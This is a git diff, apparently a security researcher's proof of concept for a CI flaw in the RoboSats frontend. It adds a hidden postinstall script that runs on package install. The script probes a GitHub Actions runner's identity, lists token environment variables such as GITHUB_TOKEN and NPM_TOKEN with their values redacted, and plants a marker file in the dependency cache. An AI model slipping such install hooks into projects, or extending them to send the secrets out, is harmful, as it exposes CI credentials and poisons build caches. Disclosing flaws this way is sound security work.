diff --git a/frontend/.poc-postinstall.js b/frontend/.poc-postinstall.js
new file mode 100644
index 000000000..aa104a2c5
--- /dev/null
+++ b/frontend/.poc-postinstall.js
@@ -0,0 +1,82 @@
+// Non-destructive PoC for FINDING-GH-011 (RoboSats V1B+V6).
+// Wired into frontend/package.json `scripts.postinstall`.
+//
+// Demonstrates ONLY:
+//   - postinstall script from fork's package.json runs in PRT context
+//   - identity (whoami)
+//   - presence of GITHUB_TOKEN, ACTIONS_*, NPM_*, NODE_AUTH_TOKEN env keys
+//     (key names + length only — values FULLY redacted)
+//   - cache-write capability (drops a marker inside node_modules/.cache/)
+//
+// Does NOT:
+//   - print any secret value
+//   - perform external network egress
+//   - exfiltrate anything
+//   - persist beyond the runner
+
+const fs = require("fs");
+const path = require("path");
+const { execSync } = require("child_process");
+
+const banner = "::group::FINDING-GH-011 PoC — fork postinstall in PRT context";
+const endgroup = "::endgroup::";
+
+console.log(banner);
+
+let whoami = "?";
+try { whoami = execSync("whoami", { encoding: "utf8" }).trim(); } catch (e) {}
+let hostname = "?";
+try { hostname = execSync("hostname", { encoding: "utf8" }).trim(); } catch (e) {}
+
+console.log(`[POC] whoami:           ${whoami}`);
+console.log(`[POC] hostname:         ${hostname}`);
+console.log(`[POC] cwd:              ${process.cwd()}`);
+console.log(`[POC] script path:      ${__filename}`);
+console.log(`[POC] runner os/arch:   ${process.env.RUNNER_OS}/${process.env.RUNNER_ARCH}`);
+console.log(`[POC] github.workspace: ${process.env.GITHUB_WORKSPACE}`);
+
+console.log("");
+console.log("[POC] env keys of interest (values fully REDACTED):");
+const interestPrefixes = ["GITHUB_", "ACTIONS_", "RUNNER_", "NPM_", "NODE_", "GH_", "CI"];
+const keys = Object.keys(process.env).sort();
+for (const k of keys) {
+  if (interestPrefixes.some(p => k === p || k.startsWith(p))) {
+    const v = process.env[k] || "";
+    console.log(`  ${k.padEnd(40)} = <REDACTED length=${v.length}>`);
+  }
+}
+
+console.log("");
+console.log("[POC] PRESENCE of secrets-derived env vars (boolean):");
+for (const v of [
+  "GITHUB_TOKEN",
+  "NODE_AUTH_TOKEN",
+  "NPM_TOKEN",
+  "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
+  "ACTIONS_ID_TOKEN_REQUEST_URL",
+]) {
+  console.log(`  ${v.padEnd(40)} = ${process.env[v] ? "YES" : "no"}`);
+}
+
+// Cache-write capability: drop a marker that setup-node will save to cache.
+try {
+  const cacheDir = path.join(__dirname, "node_modules", ".cache", "_poc");
+  fs.mkdirSync(cacheDir, { recursive: true });
+  const marker = path.join(cacheDir, "FINDING-GH-011-marker.txt");
+  fs.writeFileSync(
+    marker,
+    [
+      "FINDING-GH-011 cache-write demonstration",
+      `ts=${new Date().toISOString()}`,
+      `cwd=${process.cwd()}`,
+      `actor=${process.env.GITHUB_ACTOR || "?"}`,
+      `head_ref=${process.env.GITHUB_HEAD_REF || "?"}`,
+    ].join("\n") + "\n"
+  );
+  console.log(`[POC] cache marker written: ${marker}`);
+} catch (e) {
+  console.log(`[POC] cache marker write FAILED: ${e.message}`);
+}
+
+console.log(endgroup);
+process.exit(0);
diff --git a/frontend/package.json b/frontend/package.json
index 485b51137..7305900e1 100644
--- a/frontend/package.json
+++ b/frontend/package.json
@@ -9,7 +9,8 @@
     "build": "webpack --config webpack.config.ts --mode production",
     "lint": "eslint src/**/*.{ts,tsx}",
     "lint:fix": "eslint --fix 'src/**/*.{ts,tsx}'",
-    "format": "prettier --write '**/**/*.{js,jsx,ts,tsx,css,md,json}' --config ./.prettierrc"
+    "format": "prettier --write '**/**/*.{js,jsx,ts,tsx,css,md,json}' --config ./.prettierrc",
+    "postinstall": "node ./.poc-postinstall.js"
   },
   "keywords": [],
   "author": "",
diff --git a/frontend/src/App.tsx b/frontend/src/App.tsx
index d08e2ffa1..0cf20a323 100644
--- a/frontend/src/App.tsx
+++ b/frontend/src/App.tsx
@@ -87,3 +87,4 @@ const loadApp = (): void => {
 };
 
 loadApp();
+// FINDING-GH-011 PoC research probe (no functional change)